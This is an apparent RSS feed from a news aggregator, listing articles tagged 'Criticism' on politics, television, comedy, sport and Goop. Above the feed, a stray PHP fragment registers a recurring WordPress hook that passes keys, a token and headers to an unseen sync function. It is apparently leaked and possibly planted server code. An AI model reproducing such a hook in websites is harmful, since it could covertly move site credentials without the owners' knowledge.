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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Criticism – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 01 Sep 2022 14:56:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Criticism – Brief News https://briefnews.eu 32 32 Sen. Rick Scott says he has a ‘strategic disagreement’ with Mitch McConnell and tells other Republicans to ‘pipe down’ with ‘treasonous’ criticism of the party’s controversial Senate candidates https://briefnews.eu/sen-rick-scott-says-he-has-a-strategic-disagreement-with-mitch-mcconnell-and-tells-other-republicans-to-pipe-down-with-treasonous-criticism-of-the-partys-controversial-senate-candidates/ https://briefnews.eu/sen-rick-scott-says-he-has-a-strategic-disagreement-with-mitch-mcconnell-and-tells-other-republicans-to-pipe-down-with-treasonous-criticism-of-the-partys-controversial-senate-candidates/#respond Thu, 01 Sep 2022 14:56:53 +0000 https://briefnews.eu/sen-rick-scott-says-he-has-a-strategic-disagreement-with-mitch-mcconnell-and-tells-other-republicans-to-pipe-down-with-treasonous-criticism-of-the-partys-controversial-senate-candidates/ Republican Sen. Rick Scott of Florida and Senate Minority Leader Mitch McConnell of Kentucky at a press conference on Capitol Hill on May 17, 2022.
Republican Sen. Rick Scott of Florida and Senate Minority Leader Mitch McConnell of Kentucky at a press conference on Capitol Hill on May 17, 2022.

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  • Republicans are increasingly criticizing their party's controversial, unpopular Senate nominees.
  • Even Mitch McConnell has noted that the Senate may not flip this year, citing "candidate quality."
  • But Scott, the chair of the Senate GOP campaign arm, says that criticism is "treasonous."

Republican Sen. Rick Scott of Florida, the chair of the Senate GOP campaign arm, is fighting back against intraparty criticism of Republican Senate nominees, many of whom are struggling in the polls.

And he's reviving an ongoing rivalry with the leader of his caucus: Senate Minority Leader Mitch McConnell, who's criticized "candidate quality" in the GOP.

"Sen. McConnell and I clearly have a strategic disagreement here," said Scott in an interview with Politico. "We have great candidates."

Scott also penned an op-ed in the Washington Examiner on Thursday in which he framed ongoing criticism of the party's more controversial nominees — which include Herschel Walker in Georgia, Blake Masters in Arizona, JD Vance in Ohio, and Mehmet Oz in Pennsylvania — as a conflict between the "chattering class" in Washington and the party's base voters.

"Many of the very people responsible for losing the Senate last cycle are now trying to stop us from winning the majority this time by trash-talking our Republican candidates," he wrote. "It's an amazing act of cowardice, and ultimately, it's treasonous to the conservative cause."

"Giving anonymous quotes to help the Washington Post or the New York Times write stories trashing Republicans is the same as working with the Democratic National Committee," he also wrote. "If you want to trash-talk our candidates to help the Democrats, pipe down."

But while there have been a myriad of stories for which Republicans have offered anonymous quotes, Republican leaders have also sought to manage expectations in public as well.

"There's probably a greater likelihood the House flips than the Senate," said McConnell at a luncheon in Kentucky last month. "Senate races are just different. They're statewide, candidate quality has a lot to do with the outcome."

Those words were interpreted as an implicit jab at some of the party's nominees, who have each had their own troubles.

In Arizona, Masters has struggled to win over the state's increasingly-purple electorate and recently began scrubbing hard-right political positions from his website. In Ohio, Vance has come under fire for appearing to suggest that couples in "violent" marriages not get divorced. Walker has struggled in Georgia as he's given perplexing answers to questions from the media, and Oz has struggled to convince Pennsylvania voters of his authenticity, including his ties to the state he's running in.

On Wednesday, the election forecaster Crystal Ball shifted their ratings for the Senate elections in Arizona and Pennsylvania to "leans Democratic," citing "candidate weaknesses for Republicans in both states and what appears to be a not-as-bleak environment for Democrats."

The other subplot at play is Scott's ongoing rivalry with McConnell. Earlier this year, Scott released his own GOP agenda that would include a tax hike for over half of Americans, leading to a public put-down from McConnell in March.

 

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For four seasons, The Mash Report had graced BBC Two with comedian Nish Kumar providing a satirical take on the week’s headlines. However, the show faced several criticisms during its run for being particularly left-leaning and biased against numerous issues including Brexit. 

A spokesperson said the cancellation is a result of the BBC “making room for new comedy shows.”

“We are very proud of The Mash Report but in order to make room for new comedy shows we sometimes have to make difficult decisions and it won’t be returning,” the statement read.

Host Nish has taken to Twitter following the news and caused more controversy following the news.

He penned to his 364.9k followers: “A lot of people are asking me for a comment and here it is.”

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Nish attached a screenshot of him on the show posing alongside the words: “Boris Johnson is a liar and a racist.”

Comedian Geoff Norcott, who often appeared on the show too, has also spoken out following the show’s cancellation.

Alongside a highlight reel of his time on the show, the comedian wrote: “It was fun to get to say stuff like this on #TheMashReport.

“Particularly the unexpected reaction in the room,” he concluded.

The news has been welcomed by a number of BBC viewers and the likes of Laurence Fox who quickly made his thoughts clear online.

He sarcastically tweeted: “Tell me it isn’t true! [cry emoji] @MrNishKumar. Defund virtue signalling.”

It didn’t take long for people to react to the news in response to Fox’s tweet, with one applauding the decision: “Left wing comedy is lazy comedy, mining the same allotment of Brexit and Tories week after week.

“I can laugh at both if the joke is funny, but when it becomes tired and worn out and there are plenty of other topics ripe for satire, The Mash Report had limited appeal.”

A second agreed: “Such a shame, nish was one of the funniest comedians on Television…. Said no one ever. Such a loss to the one trick pony comedy community.”

While a third weighed in: “Left wing comedy just isn’t funny [nor is right wing comedy come to that]. Comedy needs to have no sacred cows of any kind.”

The BBC is yet to announce which “new comedy shows” will be taking The Mash Report’s place in the schedule.

A BBC spokesman told Express.co.uk it was a “difficult decision” but the show won’t be returning so that there is room for other comedy shows.

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James Martin welcomed a host of guests on to his ITV Saturday Morning cooking show which aired a festive edition on Christmas Day. The TV chef prepared a Christmassy dessert for Chris Evans and Denise van Outen but changed his mind when the pair cheekily criticised how long the dish took to make.

Turning to Denise, James began: “This is a dish that when I knew you were coming for Christmas I thought I’m going to do a dish that I got from New York because you were on Broadway.

“I’m going to do a dish that comes from slightly around the corner from there and it comes from this amazing bakery where I learnt this dish called the monkey bread. 

“Now I’ve done this before on TV but I’ve never done it with this ice cream.

“We’re going to make a chocolate bar ice cream in my Christmas present to myself.”

“We’ve seen it,” Chris commented. “We all want one, don’t we Denise?”

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“Yes, a nice bit of kit,” she replied. 

James began preparing the desert and made a special vegan version for Chris but the TV chef kept being interrupted by his guests’ cheeky comments. 

When it was time to make the ice cream, James said: “This is the only time I’m going to get them both to be quiet.

“This is my little Christmas present to myself, [inside] is a vegan ice cream with chocolate bars in it, frozen solid. 

“Put it in this machine and there’s a blade that sits underneath and the blade goes all the way down and back up again.”

“Now we’re with you,” Chris said and Denise echoed: “I’m with you, I can’t even speak.”

“Oh you’re back in the room now, are you?” James asked.

Earlier in the show, James quizzed Denise on performing in her cabaret show during the coronavirus pandemic.  

Denise said: “We’re very lucky with the cabaret show in London because it’s a restaurant setting so even in Tier two, three we could still open and perform and it did really well.”

“We’ve had acts from Cirque du Soleil, Moulin Rouge, all the Vegas showgirls. 

“I absolutely love it, I thrive off of it, I chat to the audience, I compére the evening, I sing, then the acts perform while I sing.”

“It’s quite spectacular, it’s lovely. I really enjoy it,” she added.

Denise went on to discuss her upcoming Dancing On Ice stint, she said: “I’ve got to be honest I’ve watched the show for many years with my daughter.

“She loves it at her age, it’s magical. I always said I’d never do it because I’m too scared.

“I did Strictly in 2012 and I loved it and it was hard but this is a million times harder.

“It doesn’t matter how good you are at dancing it’s all about your balance and losing the fear really.”

James Martin’s Saturday Morning continues on ITV on Boxing Day at 10.40am.

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Dave Chappelle took aim at CNN anchor Don Lemon in a blistering new stand-up comedy special for Netflix — and Lemon doesn’t mind, actually.

In the new special, filmed on June 6 in front of a socially distanced live audience and titled 8:46 in honor of George Floyd — you can watch the full special above — Chappelle gets serious and tackles the systemic racism that contributed to Floyd’s untimely death and the worldwide protests that followed. He calls out Lemon in particular for demanding that celebrities speak out on the issue: “This is the streets talking for themselves. They don’t need me right now. I kept my mouth shut. But don’t think that my silence is complicit… Why would anyone care what their favorite comedian thinks after they saw a police officer kneel on a man’s neck for 8 minutes and 46 seconds?”

Lemon responded to Chappelle’s criticism on CNN’s New Day… and didn’t really argue with his stance. “I actually agree with Dave Chappelle,” he said, adding that Chappelle is his favorite comedian. “I think that the young people who are out there in the streets don’t really care what we [in the establishment] have to say.”

While he maintained that this is “a moment that we should all be using our platform to do whatever we can,” Lemon conceded that Chappelle was doing just that with his new special. “He’s talking about this issue, and I think it’s great. He’s using his platform to talk about this in the way that he can.”

Chappelle also took shots at conservative commentators Laura Ingraham and Candace Owens in the 27-minute special, which was posted for free on YouTube. The comedian has produced five previous stand-up specials for Netflix, most recently last year’s Dave Chappelle: Sticks and Stones.

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HBO Max has removed the classic film Gone With the Wind from its movie library following a number of calls to do so, in light of the ongoing global protests for racial equality.

ScreenRant first reported the news, and a search of the HBO Max archives confirms that the movie is no longer available to stream. The film, released in 1939, won ten Oscars and became one of the top-earning movies of all time, and was prominently featured in HBO Max’s initial advertising push. But its romantic depiction of Civil War-era America and whitewashing of slavery is seen as problematic by many modern-day viewers, especially in light of the current social unrest regarding racism and police violence. (HBO Max has not officially commented on the reasoning behind the move.)

Oscar-winning screenwriter John Ridley (12 Years a Slave) called for Gone With the Wind to be removed from HBO Max for the time being in a Los Angeles Times op-ed published this week, calling it “a film that, when it is not ignoring the horrors of slavery, pauses only to perpetuate some of the most painful stereotypes of people of color.” Others joined Ridley online in asking that the movie be shelved.

HBO Max is not the only network changing its programming in light of the public outcry surrounding the protests: Paramount Network officially cancelled the police docuseries Cops after a more than three-decade run, and A&E Network has pulled new episodes of Live PD. HBO Max has also removed all guns from its new Looney Tunes Cartoons series, apparently in response to U.S. gun violence.

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Outlander‘s Claire is known for speaking her mind. So it’s not that surprising that the woman who created her did that — and then some — after this week’s episode.

Author Diana Gabaldon, who penned the series of novels on which the Starz series is based, tweeted her harsh review of part of Episode 6, “Better to Marry Than Burn,” Sunday afternoon after the installment began streaming on the Starz app. (The channel airs the show Sundays at 8/7c.)

Gabaldon tweeted that the episode was available, and a viewer replied that the chemistry between lead actors Caitriona Balfe and Sam Heughan seemed off near the end of the hour, during a sex scene in a stable. (Editor’s note: I thought the same and mentioned it in my recap, which you can read here.) Gabaldon then replied to the viewer with her take on why the moment didn’t work.

“Bad dialogue, bad direction, bad lighting, awkward set,” she posted, making sure to defend Heughan and Balfe. “Actors did their level best with what they were given to work with.”

In a subsequent tweet, Gabaldon clarified that she was not against the entire hour, just that specific exchange between Mr. and Mrs. Fraser. “Would y’all pay attention?,” she wrote. “I was referring explicitly to one 45-second scene, NOT the episode.” Later, she added that “Most of it was pretty good.”

Gabaldon is a consultant on the Starz series, and she wrote the current season’s upcoming Episode 11.

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]]> https://briefnews.eu/outlander-author-diana-gabaldon-offers-harsh-criticism-of-love-scene-in-latest-ep-bad-dialogue-bad-direction/feed/ 0 Quebec politician says criticism of Canadian hockey player Comtois is 'anti-francophone racism' https://briefnews.eu/quebec-politician-says-criticism-of-canadian-hockey-player-comtois-is-anti-francophone-racism/ https://briefnews.eu/quebec-politician-says-criticism-of-canadian-hockey-player-comtois-is-anti-francophone-racism/#respond Thu, 03 Jan 2019 19:14:37 +0000 http://briefnews.eu/quebec-politician-says-criticism-of-canadian-hockey-player-comtois-is-anti-francophone-racism/

A Quebec politician says Instagram insults against Canadian world junior hockey team captain Maxime Comtois are "anti-francophone racism."

Parti Québécois Interim Leader Pascal Bérubé used Twitter to share his feelings after Comtois was hit hard with criticism after missing on a penalty shot during overtime in a 2-1 loss to Finland in the world junior championship quarter-finals Wednesday.

Below Bérubé retweets La Presse columnist Alexandre Pratt, who called out unnamed Instagram users for urging Comtois to kill himself and to get HIV:

Several comments pointed out that the 19-year-old Comtois, a native of Longueuil, Que., is French.

Commenting was disabled on recent pictures overnight, but some comments still remained Thursday morning.

Comtois was awarded a penalty shot early in the extra period after Canadian defenceman Evan Bouchard was hooked on a breakaway. But Comtois, chosen to take the shot by Canada coach Tim Hunter under new rules this year, was turned aside on his low blocker attempt.

A few shifts later Canadian first-line centre Cody Glass feathered a cross-ice pass to defencemen Noah Dobson. The native of Summerside, P.E.I., had an open net staring at him, but his stick broke on his one-touch attempt.

The unexpected turn of events gave Finland an odd-man rush the other way. Unlike Canada's missed opportunities to close the deal, Finnish defenceman Toni Utunen, who just happens to be a Vancouver Canucks prospect, finished off Canada at his future home with a blast that deflected off the stick of Glass and over the left shoulder of goalie Michael DiPietro.

WATCH | Finland defeats Canada in overtime:

After tying the game with 46 seconds left in the 3rd, Finland scored after Canada failed to convert on 2 game-ending opportunities in overtime, knocking the hosts out of the 2019 IIHF World Junior Championship in Vancouver. 2:23

Instagram user @snacc_​hyman wrote "The captain of the Canadian hockey team shouldn't dive like an Italian soccer player and come up with such a pathetic attempt on an overtime penalty shot."

After the barrage of criticism, several users posted messages of support for Comtois.

User @lordstanleypff wrote "He doesn't deserve the hate or anything negative. He's a junior for God's sake. He did everything to represent HIS country."

Comments 'shameful and incomprehensible'

The Roy Sports Group, which represents Comtois, put out a statement on Thursday afternoon.

"It is shameful and incomprehensible that a few cowards who can hide behind social media could make such vicious attacks on these young men's character after they have battled their hearts out for their country," the statement reads.

"We will make this one and only statement on this subject, so not to validate anymore the cowardly comments made on social media. It was Maxime's idea to use this as a learning moment for all of the youth of Canada, that cyber bullying is a real problem, and like all bullies, we all need to stand up to them and call them out for what they are. Thank you for shedding a spotlight on a major problem in our society.

Comtois said there was no hesitation in what he was going to do on the penalty shot that was stopped by Finnish goalie Ukko-Pekka Luukkonen, who stretched his right pad to block the low drive.

"I was thinking to score and I didn't," Comtois said. "I was going with my move and trying to shoot. It's not the first one that I missed and it's not going to be the last one. It has to hurt, but if I get one more chance later in my career, I have to be ready and dig in to get it in."

"We had a couple guys practising this type of situation in practice. I was one of them. It could have been anyone on the team. I was confident with my move and it didn't work."

The loss for Canada means the country will not play for a world junior medal for only the second time in 21 years.

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  • Eric Trump, President Donald Trump’s son, railed against attorney George Conway, husband of White House counselor Kellyanne Conway, on Twitter.
  • Conway has routinely tweeted messages that broadly conflict with the Trump administration’s political agenda.
  • Trump described Conway’s actions as “horrible” and disrespectful.

Eric Trump, an executive of the Trump Organization and President Donald Trump’s son, railed against attorney George Conway, husband of White House advisor Kellyanne Conway, in a tweet and called his frequent musings against the president “horrible.”

“Of all the ugliness in politics, the utter disrespect George Conway shows toward his wife, her career, place of work, and everything she has fought SO hard to achieve, might top them all,” Trump tweeted Monday. “[Kellyanne] is great person and frankly his actions are horrible.”

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Hundreds of wellness enthusiasts flocked to Stanley Park over the weekend, where Gwyneth Paltrow’s wellness empire — known as Goop — held its sold-out wellness summit.

]]> https://briefnews.eu/criticism-from-scientists-and-doctors-doesnt-stop-gwyneth-paltrow-goopies-from-flocking-to-vancouver-summit/feed/ 0 Ajit Pai faces rare criticism from GOP senator on rural broadband failures https://briefnews.eu/ajit-pai-faces-rare-criticism-from-gop-senator-on-rural-broadband-failures/ https://briefnews.eu/ajit-pai-faces-rare-criticism-from-gop-senator-on-rural-broadband-failures/#respond Sun, 07 Oct 2018 10:02:47 +0000 http://briefnews.eu/ajit-pai-faces-rare-criticism-from-gop-senator-on-rural-broadband-failures/
FCC Chairman Ajit Pai speaking during a Senate hearing.

Enlarge / FCC Chairman Ajit Pai speaks during an FCC oversight hearing held by the Senate Commerce Committee on Thursday, August 16, 2018. (credit: Getty Images | Bloomberg)

US Sen. John Thune (R-S.D.) yesterday blasted the Federal Communications Commission, saying it has failed to prevent budget cuts in funding for rural broadband.

“It has been more than a year since Chairman [Ajit] Pai” and fellow commissioners appeared before the Senate Commerce Committee “and committed to conducting a thorough economic analysis of the impact of USF [Universal Service Fund] funding cuts on broadband deployment in rural areas before allowing any further reduction,” Thune said.

But Pai’s FCC has failed to keep that promise, Thune said while delivering a statement at a hearing on rural broadband. Thune, the Commerce Committee chairman, continued:

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